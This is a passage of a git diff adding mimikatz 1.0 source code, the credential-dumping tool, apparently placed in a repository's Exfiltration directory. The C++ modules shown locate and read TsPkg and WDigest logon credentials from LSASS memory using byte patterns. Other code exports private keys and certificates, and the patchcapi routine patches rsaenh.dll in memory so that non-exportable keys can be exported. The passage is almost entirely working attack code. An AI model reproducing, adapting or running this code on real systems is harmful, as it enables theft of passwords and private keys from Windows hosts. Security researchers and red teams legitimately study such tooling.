PTRN_WALL_TSGlobalCredTable[] = {0x48, 0x83, 0xec, 0x20, 0x48, 0x8d, 0x0d}; + LONG OFFS_WALL_TSGlobalCredTable = sizeof(PTRN_WALL_TSGlobalCredTable); +#elif defined _M_IX86 + BYTE PTRN_WNO8_TSGlobalCredTable[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x51, 0x56, 0xbe}; + LONG OFFS_WNO8_TSGlobalCredTable = sizeof(PTRN_WNO8_TSGlobalCredTable); + + BYTE PTRN_WIN8_TSGlobalCredTable[] = {0x8b, 0xff, 0x53, 0xbb}; + LONG OFFS_WIN8_TSGlobalCredTable = sizeof(PTRN_WIN8_TSGlobalCredTable); +#endif + + if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModTSPKG && !TSGlobalCredTable) + { + PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0; + + pointeur= reinterpret_cast(&TSGlobalCredTable); +#ifdef _M_X64 + pattern = PTRN_WALL_TSGlobalCredTable; + taille = sizeof(PTRN_WALL_TSGlobalCredTable); + offset = OFFS_WALL_TSGlobalCredTable; +#elif defined _M_IX86 + if(mod_system::GLOB_Version.dwBuildNumber < 8000) + { + pattern = PTRN_WNO8_TSGlobalCredTable; + taille = sizeof(PTRN_WNO8_TSGlobalCredTable); + offset = OFFS_WNO8_TSGlobalCredTable; + } + else + { + pattern = PTRN_WIN8_TSGlobalCredTable; + taille = sizeof(PTRN_WIN8_TSGlobalCredTable); + offset = OFFS_WIN8_TSGlobalCredTable; + } +#endif + + if(HMODULE monModule = LoadLibrary(L"tspkg")) + { + MODULEINFO mesInfos; + if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO))) + { + mod_memory::genericPatternSearch(pointeur, L"tspkg", pattern, taille, offset); + *pointeur += pModTSPKG->modBaseAddr - reinterpret_cast(mesInfos.lpBaseOfDll); + } + FreeLibrary(monModule); + } + } + return (pModTSPKG && TSGlobalCredTable); +} + +bool WINAPI mod_mimikatz_sekurlsa_tspkg::getTsPkgLogonData(__in PLUID logId, __in bool justSecurity) +{ + if(searchTSPKGFuncs()) + { + PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL; + BYTE * monBuffP = new BYTE[sizeof(KIWI_TS_CREDENTIAL)], * monBuffC = new BYTE[sizeof(KIWI_TS_PRIMARY_CREDENTIAL)]; + if(PKIWI_TS_CREDENTIAL pLogSession = reinterpret_cast(mod_mimikatz_sekurlsa::getPtrFromAVLByLuid(TSGlobalCredTable, FIELD_OFFSET(KIWI_TS_CREDENTIAL, LocallyUniqueIdentifier), logId))) + { + if(mod_memory::readMemory(pLogSession, monBuffP, sizeof(KIWI_TS_CREDENTIAL), mod_mimikatz_sekurlsa::hLSASS)) + { + pLogSession = reinterpret_cast(monBuffP); + if(pLogSession->pTsPrimary) + { + if(mod_memory::readMemory(pLogSession->pTsPrimary, monBuffC, sizeof(KIWI_TS_PRIMARY_CREDENTIAL), mod_mimikatz_sekurlsa::hLSASS)) + mesCreds = &(reinterpret_cast(monBuffC)->credentials); + } + else (*outputStream) << L"n.s. (SuppCred KO) / "; + } + } + mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity, true); + delete [] monBuffC, monBuffP; + } + else (*outputStream) << L"n.a. (tspkg KO)"; + return true; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.h new file mode 100644 index 0000000..35a3b15 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.h @@ -0,0 +1,37 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../mod_mimikatz_sekurlsa.h" + +class mod_mimikatz_sekurlsa_tspkg { + +private: + typedef struct _KIWI_TS_PRIMARY_CREDENTIAL { + PVOID unk0; // lock ? + KIWI_GENERIC_PRIMARY_CREDENTIAL credentials; + } KIWI_TS_PRIMARY_CREDENTIAL, *PKIWI_TS_PRIMARY_CREDENTIAL; + + typedef struct _KIWI_TS_CREDENTIAL { + #ifdef _M_X64 + BYTE unk0[108]; + #elif defined _M_IX86 + BYTE unk0[64]; + #endif + LUID LocallyUniqueIdentifier; + PVOID unk1; + PVOID unk2; + PKIWI_TS_PRIMARY_CREDENTIAL pTsPrimary; + } KIWI_TS_CREDENTIAL, *PKIWI_TS_CREDENTIAL; + + static PRTL_AVL_TABLE TSGlobalCredTable; + static bool searchTSPKGFuncs(); + +public: + static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModTSPKG; + static bool getTsPkg(vector * arguments); + static bool WINAPI getTsPkgLogonData(__in PLUID logId, __in bool justSecurity); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.cpp new file mode 100644 index 0000000..b6e3062 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.cpp @@ -0,0 +1,91 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "wdigest.h" +#include "..\..\global.h" +mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_wdigest::pModWDIGEST = NULL; +mod_mimikatz_sekurlsa_wdigest::PKIWI_WDIGEST_LIST_ENTRY mod_mimikatz_sekurlsa_wdigest::l_LogSessList = NULL; +long mod_mimikatz_sekurlsa_wdigest::offsetWDigestPrimary = 0; + +bool mod_mimikatz_sekurlsa_wdigest::getWDigest(vector * arguments) +{ + vector> monProvider; + monProvider.push_back(make_pair(getWDigestLogonData, wstring(L"wdigest"))); + return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider); +} + +bool mod_mimikatz_sekurlsa_wdigest::searchWDigestEntryList() +{ +#ifdef _M_X64 + BYTE PTRN_WNO8_InsertInLogSess[]= {0x4c, 0x89, 0x1b, 0x48, 0x89, 0x43, 0x08, 0x49, 0x89, 0x5b, 0x08, 0x48, 0x8d}; + BYTE PTRN_W8CP_InsertInLogSess[]= {0x4c, 0x89, 0x1b, 0x48, 0x89, 0x4b, 0x08, 0x49, 0x8b, 0x43, 0x08, 0x4c, 0x39}; + BYTE PTRN_W8RP_InsertInLogSess[]= {0x4c, 0x89, 0x1b, 0x48, 0x89, 0x43, 0x08, 0x49, 0x39, 0x43, 0x08, 0x0f, 0x85}; +#elif defined _M_IX86 + BYTE PTRN_WNO8_InsertInLogSess[]= {0x8b, 0x45, 0x08, 0x89, 0x08, 0xc7, 0x40, 0x04}; + BYTE PTRN_W8CP_InsertInLogSess[]= {0x89, 0x0e, 0x89, 0x56, 0x04, 0x8b, 0x41, 0x04}; + BYTE PTRN_W8RP_InsertInLogSess[]= {0x89, 0x06, 0x89, 0x4e, 0x04, 0x39, 0x48, 0x04}; +#endif + LONG OFFS_WALL_InsertInLogSess = -4; + + if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModWDIGEST && !l_LogSessList) + { + PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0; + + pointeur= reinterpret_cast(&l_LogSessList); + offset = OFFS_WALL_InsertInLogSess; + if(mod_system::GLOB_Version.dwBuildNumber < 8000) + { + pattern = PTRN_WNO8_InsertInLogSess; + taille = sizeof(PTRN_WNO8_InsertInLogSess); + } + else if(mod_system::GLOB_Version.dwBuildNumber < 8400) + { + pattern = PTRN_W8CP_InsertInLogSess; + taille = sizeof(PTRN_W8CP_InsertInLogSess); + } + else + { + pattern = PTRN_W8RP_InsertInLogSess; + taille = sizeof(PTRN_W8RP_InsertInLogSess); + } + + if(HMODULE monModule = LoadLibrary(L"wdigest")) + { + MODULEINFO mesInfos; + if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO))) + { + mod_memory::genericPatternSearch(pointeur, L"wdigest", pattern, taille, offset, "SpInstanceInit", false); + *pointeur += pModWDIGEST->modBaseAddr - reinterpret_cast(mesInfos.lpBaseOfDll); + } + FreeLibrary(monModule); + } + +#ifdef _M_X64 + offsetWDigestPrimary = ((mod_system::GLOB_Version.dwMajorVersion < 6) ? ((mod_system::GLOB_Version.dwMinorVersion < 2) ? 36 : 48) : 48); +#elif defined _M_IX86 + offsetWDigestPrimary = ((mod_system::GLOB_Version.dwMajorVersion < 6) ? ((mod_system::GLOB_Version.dwMinorVersion < 2) ? 36 : 28) : 32); +#endif + } + return (pModWDIGEST && l_LogSessList); +} + +bool WINAPI mod_mimikatz_sekurlsa_wdigest::getWDigestLogonData(__in PLUID logId, __in bool justSecurity) +{ + if(searchWDigestEntryList()) + { + PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL; + DWORD taille = offsetWDigestPrimary + sizeof(KIWI_GENERIC_PRIMARY_CREDENTIAL); + BYTE * monBuff = new BYTE[taille]; + if(PLIST_ENTRY pLogSession = mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast(l_LogSessList), FIELD_OFFSET(KIWI_WDIGEST_LIST_ENTRY, LocallyUniqueIdentifier), logId)) + if( mod_memory::readMemory(pLogSession, monBuff, taille, mod_mimikatz_sekurlsa::hLSASS)) + mesCreds = reinterpret_cast(reinterpret_cast(monBuff) + offsetWDigestPrimary); + mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity); + delete [] monBuff; + } + else (*outputStream) << L"n.a. (wdigest KO)"; + + return true; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.h new file mode 100644 index 0000000..9db3c8b --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.h @@ -0,0 +1,29 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../mod_mimikatz_sekurlsa.h" + +class mod_mimikatz_sekurlsa_wdigest { + +private: + typedef struct _KIWI_WDIGEST_LIST_ENTRY { + struct _KIWI_WDIGEST_LIST_ENTRY *Flink; + struct _KIWI_WDIGEST_LIST_ENTRY *Blink; + DWORD UsageCount; + struct _KIWI_WDIGEST_LIST_ENTRY *This; + LUID LocallyUniqueIdentifier; + } KIWI_WDIGEST_LIST_ENTRY, *PKIWI_WDIGEST_LIST_ENTRY; + + static PKIWI_WDIGEST_LIST_ENTRY l_LogSessList; + static long offsetWDigestPrimary; + static bool searchWDigestEntryList(); + +public: + static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModWDIGEST; + static bool getWDigest(vector * arguments); + static bool WINAPI getWDigestLogonData(__in PLUID logId, __in bool justSecurity); +}; \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.cpp new file mode 100644 index 0000000..a869cd8 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.cpp @@ -0,0 +1,594 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_crypto.h" +#include "..\global.h" + +vector mod_mimikatz_crypto::getMimiKatzCommands() +{ + vector monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(listProviders, L"listProviders", L"Liste les providers installés)")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(listStores, L"listStores", L"Liste les magasins système")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(listCertificates, L"listCertificates", L"Liste les certificats")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(listKeys, L"listKeys", L"Liste les conteneurs de clés")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(exportCertificates, L"exportCertificates", L"Exporte les certificats")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(exportKeys, L"exportKeys", L"Exporte les clés")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(patchcng, L"patchcng", L"[experimental] Patch le gestionnaire de clés pour l\'export de clés non exportable")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(patchcapi, L"patchcapi", L"[experimental] Patch la CryptoAPI courante pour l\'export de clés non exportable")); + return monVector; +} + +bool mod_mimikatz_crypto::listProviders(vector * arguments) +{ + vector * monVectorProviders = new vector(); + /* CryptoAPI */ + (*outputStream) << L"Providers CryptoAPI :" << endl; + if(mod_cryptoapi::getVectorProviders(monVectorProviders)) + for(vector::iterator monProvider = monVectorProviders->begin(); monProvider != monVectorProviders->end(); monProvider++) + (*outputStream) << L'\t' << *monProvider << endl; + else (*outputStream) << L"mod_cryptoapi::getVectorProviders : " << mod_system::getWinError() << endl; + + /* CryptoNG */ + if(mod_cryptong::isNcrypt) + { + (*outputStream) << endl; + monVectorProviders->clear(); + + (*outputStream) << L"Providers CNG :" << endl; + if(mod_cryptong::getVectorProviders(monVectorProviders)) + for(vector::iterator monProvider = monVectorProviders->begin(); monProvider != monVectorProviders->end(); monProvider++) + (*outputStream) << L'\t' << *monProvider << endl; + else (*outputStream) << L"mod_cryptong::getVectorProviders : " << mod_system::getWinError() << endl; + } + delete monVectorProviders; + return true; +} + +bool mod_mimikatz_crypto::listKeys(vector * arguments) +{ + listAndOrExportKeys(arguments, false); + return true; +} + +bool mod_mimikatz_crypto::exportKeys(vector * arguments) +{ + listAndOrExportKeys(arguments, true); + return true; +} + +bool mod_mimikatz_crypto::listStores(vector * arguments) +{ + wstring monEmplacement = (arguments->empty() ? L"CERT_SYSTEM_STORE_CURRENT_USER" : arguments->front()); + + (*outputStream) << L"Emplacement : \'" << monEmplacement << L'\''; + + DWORD systemStore; + if(mod_crypto::getSystemStoreFromString(monEmplacement, &systemStore)) + { + (*outputStream) << endl; + vector * mesStores = new vector(); + if(mod_crypto::getVectorSystemStores(mesStores, systemStore)) + for(vector::iterator monStore = mesStores->begin(); monStore != mesStores->end(); monStore++) + (*outputStream) << L'\t' << *monStore << endl; + else (*outputStream) << L"mod_crypto::getListSystemStores : " << mod_system::getWinError() << endl; + delete mesStores; + } + else (*outputStream) << L" introuvable !" << endl; + return true; +} + +bool mod_mimikatz_crypto::listCertificates(vector * arguments) +{ + listAndOrExportCertificates(arguments, false); + return true; +} + +bool mod_mimikatz_crypto::exportCertificates(vector * arguments) +{ + listAndOrExportCertificates(arguments, true); + return true; +} + +void mod_mimikatz_crypto::listAndOrExportKeys(vector * arguments, bool exportKeys) +{ + bool isMachine = false; + DWORD providerType = PROV_RSA_FULL; + wstring provider = MS_ENHANCED_PROV; + + switch (arguments->size()) + { + case 1: + isMachine = true; + case 0: + break; + case 3: + isMachine = true; + arguments->erase(arguments->begin()); + case 2: + mod_cryptoapi::getProviderString(arguments->front(), &provider); + mod_cryptoapi::getProviderTypeFromString(arguments->back(), &providerType); + break; + default : + (*outputStream) << L"Erreur d\'arguments, attendu : [machine] [provider providerType]" << endl; + return; + } + + + wstring type = (isMachine ? L"machine" : L"user"); + + vector * monVectorKeys = new vector(); + + /* CryptoAPI */ + (*outputStream) << L"[" << type << L"] Clés CryptoAPI :" << endl; + if(mod_cryptoapi::getVectorContainers(monVectorKeys, isMachine)) + { + DWORD i; + vector::iterator monContainer; + for(i = 0, monContainer = monVectorKeys->begin(); monContainer != monVectorKeys->end(); monContainer++, i++) + { + (*outputStream) << L"\t - " << *monContainer << endl; + + HCRYPTPROV hCryptKeyProv = NULL; + if(CryptAcquireContext(&hCryptKeyProv, monContainer->c_str(), provider.c_str(), providerType, NULL | (isMachine ? CRYPT_MACHINE_KEYSET : NULL))) + { + HCRYPTKEY maCle = NULL; + for(DWORD ks = AT_KEYEXCHANGE; (ks <= AT_SIGNATURE) && !maCle; ks++) + { + if(CryptGetUserKey(hCryptKeyProv, ks, &maCle)) + { + (*outputStream) << L"\t\tType : " << mod_crypto::KeyTypeToString(ks) << endl; + DWORD param = 0, taille = sizeof(param); + if(CryptGetKeyParam(maCle, KP_PERMISSIONS, reinterpret_cast(¶m), &taille, NULL)) + (*outputStream) << L"\t\tExportabilité : " << (param & CRYPT_EXPORT ? L"OUI" : L"NON") << endl; + if(CryptGetKeyParam(maCle, KP_KEYLEN, reinterpret_cast(¶m), &taille, NULL)) + (*outputStream) << L"\t\tTaille clé : " << param << endl; + + if(exportKeys) + { + bool reussite = false; + BYTE * monExport = NULL; + DWORD tailleExport = 0; + + wstringstream monBuff; + wstring containerName = *monContainer; + sanitizeFileName(&containerName); + + monBuff << L"capi_" << type << L'_' << i << L'_' << containerName << L".pvk"; + + if(mod_cryptoapi::getPrivateKey(maCle, &monExport, &tailleExport)) + { + reussite = mod_crypto::PrivateKeyBlobToPVK(monExport, tailleExport, monBuff.str(), ks); + delete[] monExport; + } + + (*outputStream) << L"\t\tExport privé dans \'" << monBuff.str() << L"\' : " << (reussite ? L"OK" : L"KO") << endl; + if(!reussite) + { + (*outputStream) << L"\t\t\tmod_cryptoapi::getPrivateKey/PrivateKeyBlobToPVK : " << mod_system::getWinError() << endl; + } + } + } + } + + if(maCle) + CryptDestroyKey(maCle); + else + (*outputStream) << L"\t\t* Erreur de clé ; " << mod_system::getWinError() << endl; + + + CryptReleaseContext(hCryptKeyProv, 0); + } + else (*outputStream) << L"\t\t* Erreur d\'acquisition de la clé ; " << mod_system::getWinError() << endl; + } + } + else (*outputStream) << L"mod_cryptoapi::getVectorContainers : " << mod_system::getWinError() << endl; + + /* CryptoNG */ + if(mod_cryptong::isNcrypt) + { + (*outputStream) << endl; + monVectorKeys->clear(); + + (*outputStream) << L"[" << type << L"] Clés CNG :" << endl; + if(mod_cryptong::getVectorContainers(monVectorKeys, isMachine)) + { + DWORD i; + vector::iterator monContainer; + for(i = 0, monContainer = monVectorKeys->begin(); monContainer != monVectorKeys->end(); monContainer++, i++) + { + (*outputStream) << L"\t - " << *monContainer << endl; + + NCRYPT_KEY_HANDLE maCle; + if(mod_cryptong::getHKeyFromName(*monContainer, &maCle, isMachine)) + { + bool exportable = false; + DWORD size = 0; + + if(mod_cryptong::isKeyExportable(&maCle, &exportable)) + (*outputStream) << L"\t\tExportabilité : " << (exportable ? L"OUI" : L"NON") << endl; + if(mod_cryptong::getKeySize(&maCle, &size)) + (*outputStream) << L"\t\tTaille clé : " << size << endl; + + if(exportKeys) + { + bool reussite = false; + BYTE * monExport = NULL; + DWORD tailleExport = 0; + + wstringstream monBuff; + monBuff << L"cng_" << type << L'_' << i << L'_' << *monContainer << L".pvk"; + + if(mod_cryptong::getPrivateKey(maCle, &monExport, &tailleExport)) + { + reussite = mod_crypto::PrivateKeyBlobToPVK(monExport, tailleExport, monBuff.str()); + delete[] monExport; + } + + (*outputStream) << L"\t\tExport privé dans \'" << monBuff.str() << L"\' : " << (reussite ? L"OK" : L"KO") << endl; + if(!reussite) + { + (*outputStream) << L"\t\t\tmod_cryptong::getPrivateKey/PrivateKeyBlobToPVK : " << mod_system::getWinError() << endl; + } + } + mod_cryptong::NCryptFreeObject(maCle); + } + } + } + else (*outputStream) << L"mod_cryptong::getVectorContainers : " << mod_system::getWinError() << endl; + } + + delete monVectorKeys; +} + + +void mod_mimikatz_crypto::listAndOrExportCertificates(vector * arguments, bool exportCert) +{ + wstring monEmplacement = L"CERT_SYSTEM_STORE_CURRENT_USER"; + wstring monStore = L"My"; + + if(arguments->size() == 1) + { + monEmplacement = arguments->front(); + } + else if(arguments->size() == 2) + { + monEmplacement = arguments->front(); + monStore = arguments->back(); + } + + (*outputStream) << L"Emplacement : \'" << monEmplacement << L'\''; + + DWORD systemStore; + if(mod_crypto::getSystemStoreFromString(monEmplacement, &systemStore)) + { + (*outputStream) << L"\\" << monStore << endl; + if(HCERTSTORE hCertificateStore = CertOpenStore(CERT_STORE_PROV_SYSTEM, NULL, NULL, systemStore | CERT_STORE_OPEN_EXISTING_FLAG | CERT_STORE_READONLY_FLAG, monStore.c_str())) + { + DWORD i; + PCCERT_CONTEXT pCertContext; + for (i = 0, pCertContext = CertEnumCertificatesInStore(hCertificateStore, NULL); pCertContext != NULL; pCertContext = CertEnumCertificatesInStore(hCertificateStore, pCertContext), i++) + { + wstring * certName = new wstring(); + bool reussite = false; + + if(!mod_crypto::getCertNameFromCertCTX(pCertContext, certName)) + certName->assign(L"[empty]"); + + (*outputStream) << L"\t - " << *certName << endl;; + sanitizeFileName(certName); + + wstringstream monBuff; + monBuff << monEmplacement << L'_' << monStore << L'_' << i << L'_' << *certName << L'.'; + + mod_crypto::KIWI_KEY_PROV_INFO keyProvInfo; + if(mod_crypto::getKiwiKeyProvInfo(pCertContext, &keyProvInfo)) + { + (*outputStream) << L"\t\tContainer Clé : " << keyProvInfo.pwszContainerName << endl; + (*outputStream) << L"\t\tProvider : " << keyProvInfo.pwszProvName << endl; + + HCRYPTPROV_OR_NCRYPT_KEY_HANDLE monProv = NULL; + DWORD keySpec = 0; + BOOL aFermer = false; + + if(CryptAcquireCertificatePrivateKey(pCertContext, CRYPT_ACQUIRE_ALLOW_NCRYPT_KEY_FLAG /* CRYPT_ACQUIRE_SILENT_FLAG NULL */, NULL, &monProv, &keySpec, &aFermer)) + { + (*outputStream) << L"\t\tType : " << mod_crypto::KeyTypeToString(keySpec) << endl; + + DWORD size = 0; + bool exportable = false; + + if(keySpec == CERT_NCRYPT_KEY_SPEC) + { + if(mod_cryptong::isNcrypt) + { + reussite = mod_cryptong::getKeySize(&monProv, &size); + reussite &=mod_cryptong::isKeyExportable(&monProv, &exportable); + + if(aFermer) + { + mod_cryptong::NCryptFreeObject(monProv); + } + } + else (*outputStream) << L"\t\t\tErreur : Clé de type nCrypt, sans nCrypt ?" << endl; + } + else + { + DWORD tailleEcrite = 0; + DWORD exportability; + + HCRYPTKEY maCle = NULL; + if(reussite = (CryptGetUserKey(monProv, keySpec, &maCle) != 0)) + { + tailleEcrite = sizeof(DWORD); + reussite = (CryptGetKeyParam(maCle, KP_KEYLEN, reinterpret_cast(&size), &tailleEcrite, NULL) != 0); + tailleEcrite = sizeof(DWORD); + reussite &= (CryptGetKeyParam(maCle, KP_PERMISSIONS, reinterpret_cast(&exportability), &tailleEcrite, NULL) != 0); + exportable = (exportability & CRYPT_EXPORT) != 0; + } + + if(aFermer) + { + CryptReleaseContext(monProv, 0); + } + } + if(reussite) + { + (*outputStream) << L"\t\tExportabilité : " << (exportable ? L"OUI" : L"NON") << endl; + (*outputStream) << L"\t\tTaille clé : " << size << endl; + } + + if(exportCert) + { + wstring PFXFile = monBuff.str(); + PFXFile.append(L"pfx"); + + reussite = mod_crypto::CertCTXtoPFX(pCertContext, PFXFile, L"mimikatz"); + + (*outputStream) << L"\t\tExport privé dans \'" << PFXFile << L"\' : " << (reussite ? L"OK" : L"KO") << endl; + if(!reussite) + { + (*outputStream) << L"\t\t\t" << mod_system::getWinError() << endl; + } + } + } + else (*outputStream) << L"CryptAcquireCertificatePrivateKey : " << mod_system::getWinError() << endl; + } + + if(exportCert) + { + wstring DERFile = monBuff.str(); + DERFile.append(L"der"); + + reussite = mod_crypto::CertCTXtoDER(pCertContext, DERFile); + + (*outputStream) << L"\t\tExport public dans \'" << DERFile << L"\' : " << (reussite ? L"OK" : L"KO") << endl; + if(!reussite) + { + (*outputStream) << L"\t\t\t" << mod_system::getWinError() << endl; + } + } + delete certName; + } + CertCloseStore(hCertificateStore, CERT_CLOSE_STORE_FORCE_FLAG); + } + else (*outputStream) << L"CertOpenStore : " << mod_system::getWinError() << endl; + } + else (*outputStream) << L" introuvable !" << endl; +} + + +bool mod_mimikatz_crypto::patchcapi(vector * arguments) +{ + wchar_t LIBNAME_WALL_RSA[] = L"rsaenh.dll"; + char FUNCNAM_WALL_EXPORT[] = "CPExportKey"; +#ifdef _M_X64 + BYTE PTRN_WIN5_CPExportKey_4001[] = {0x0c, 0x01, 0x40, 0x00, 0x00, 0x75}; + BYTE PTRN_WIN5_CPExportKey_4000[] = {0x0c, 0x0e, 0x72}; + BYTE PATC_WIN5_CPExportKey_EXPORT[] = {0xeb}; + LONG OFFS_WIN5_CPExportKey_4001_EXPORT = -4; + LONG OFFS_WIN5_CPExportKey_4000_EXPORT = -5; + + BYTE PTRN_W6AL_CPExportKey_4001[] = {0x0c, 0x01, 0x40, 0x00, 0x00, 0x0f, 0x85}; + BYTE PTRN_WIN6_CPExportKey_4000[] = {0x0c, 0x0e, 0x0f, 0x82}; + BYTE PTRN_WIN8_CPExportKey_4000[] = {0x0c, 0x00, 0x40, 0x00, 0x00, 0x0f, 0x85}; + BYTE PATC_W6AL_CPExportKey_EXPORT[] = {0x90, 0xe9}; + LONG OFFS_W6AL_CPExportKey_EXPORT = 5; + LONG OFFS_WIN6_CPExportKey_4000_EXPORT = 2; +#elif defined _M_IX86 + BYTE PTRN_WIN5_CPExportKey_4001[] = {0x08, 0x01, 0x40, 0x75}; + BYTE PTRN_WIN5_CPExportKey_4000[] = {0x09, 0x40, 0x0f, 0x84}; + BYTE PATC_WIN5_CPExportKey_EXPORT[] = {0xeb}; + LONG OFFS_WIN5_CPExportKey_4001_EXPORT = -5; + LONG OFFS_WIN5_CPExportKey_4000_EXPORT = -7; + + BYTE PTRN_WI60_CPExportKey_4001[] = {0x08, 0x01, 0x40, 0x0f, 0x85}; + BYTE PTRN_WIN6_CPExportKey_4001[] = {0x08, 0x01, 0x40, 0x00, 0x00, 0x0f, 0x85}; + BYTE PTRN_WI60_CPExportKey_4000[] = {0x08, 0x00, 0x40, 0x0f, 0x85}; + BYTE PTRN_WIN6_CPExportKey_4000[] = {0x08, 0x00, 0x40, 0x00, 0x00, 0x0f, 0x85}; + BYTE PATC_W6AL_CPExportKey_EXPORT[] = {0x90, 0xe9}; + LONG OFFS_WI60_CPExportKey_EXPORT = 3; + LONG OFFS_WIN6_CPExportKey_EXPORT = 5; +#endif + + PBYTE ptr4001 = NULL; PBYTE pattern4001 = NULL; ULONG taillePattern4001 = 0; PBYTE patch4001 = NULL; ULONG taillePatch4001 = 0; LONG offsetPatch4001 = 0; + PBYTE ptr4000 = NULL; PBYTE pattern4000 = NULL; ULONG taillePattern4000 = 0; PBYTE patch4000 = NULL; ULONG taillePatch4000 = 0; LONG offsetPatch4000 = 0; + + if(mod_system::GLOB_Version.dwMajorVersion < 6) + { + pattern4001 = PTRN_WIN5_CPExportKey_4001; taillePattern4001 = sizeof(PTRN_WIN5_CPExportKey_4001); + pattern4000 = PTRN_WIN5_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WIN5_CPExportKey_4000); + patch4001 = patch4000 = PATC_WIN5_CPExportKey_EXPORT; taillePatch4001 = taillePatch4000 = sizeof(PATC_WIN5_CPExportKey_EXPORT); + offsetPatch4001 = OFFS_WIN5_CPExportKey_4001_EXPORT; + offsetPatch4000 = OFFS_WIN5_CPExportKey_4000_EXPORT; + } + else + { +#ifdef _M_X64 + pattern4001 = PTRN_W6AL_CPExportKey_4001; taillePattern4001 = sizeof(PTRN_W6AL_CPExportKey_4001); + patch4001 = patch4000 = PATC_W6AL_CPExportKey_EXPORT; taillePatch4001 = taillePatch4000 = sizeof(PATC_W6AL_CPExportKey_EXPORT); + offsetPatch4001 = OFFS_W6AL_CPExportKey_EXPORT; + if(mod_system::GLOB_Version.dwBuildNumber < 8000) + { + pattern4000 = PTRN_WIN6_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WIN6_CPExportKey_4000); + offsetPatch4000 = OFFS_WIN6_CPExportKey_4000_EXPORT; + } + else + { + pattern4000 = PTRN_WIN8_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WIN8_CPExportKey_4000); + offsetPatch4000 = OFFS_W6AL_CPExportKey_EXPORT; + } +#elif defined _M_IX86 + patch4001 = patch4000 = PATC_W6AL_CPExportKey_EXPORT; taillePatch4001 = taillePatch4000 = sizeof(PATC_W6AL_CPExportKey_EXPORT); + if(mod_system::GLOB_Version.dwMinorVersion < 1) + { + pattern4001 = PTRN_WI60_CPExportKey_4001; taillePattern4001 = sizeof(PTRN_WI60_CPExportKey_4001); + pattern4000 = PTRN_WI60_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WI60_CPExportKey_4000); + offsetPatch4001 = offsetPatch4000 = OFFS_WI60_CPExportKey_EXPORT; + } + else + { + pattern4001 = PTRN_WIN6_CPExportKey_4001; taillePattern4001 = sizeof(PTRN_WIN6_CPExportKey_4001); + pattern4000 = PTRN_WIN6_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WIN6_CPExportKey_4000); + offsetPatch4001 = offsetPatch4000 = OFFS_WIN6_CPExportKey_EXPORT; + } +#endif + } + + if(HMODULE hRSA = LoadLibrary(LIBNAME_WALL_RSA)) + { + if( mod_memory::genericPatternSearch(&ptr4001, LIBNAME_WALL_RSA, pattern4001, taillePattern4001, offsetPatch4001, FUNCNAM_WALL_EXPORT, true, true) && + mod_memory::genericPatternSearch(&ptr4000, 